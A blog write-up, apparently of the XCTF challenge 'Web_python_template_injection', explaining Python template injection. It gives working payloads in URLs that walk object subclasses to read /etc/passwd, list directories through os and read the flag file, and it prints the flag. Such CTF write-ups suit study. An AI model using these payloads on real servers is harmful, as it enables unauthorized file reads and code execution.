攻防世界-Web_python_template_injection

打开发现是python的模板注入(根据提示可以判定)

先判断有无模板注入,

发现有模板注入,查看全局变量。

主要是通过文件读取和命令执行实现的。接着找到父类<type ‘object’>、寻找子类、找关于命令执行或者文件操作的模块。

__class__:返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
http://61.147.171.105:58593/{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

看到type file类型的文件,即可进行文件读取。

看到class"site.printer"类型的文件,即可进行命令读取,

http://61.147.171.105:58593/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

http://61.147.171.105:58593/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

即可拿到flag的值。

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值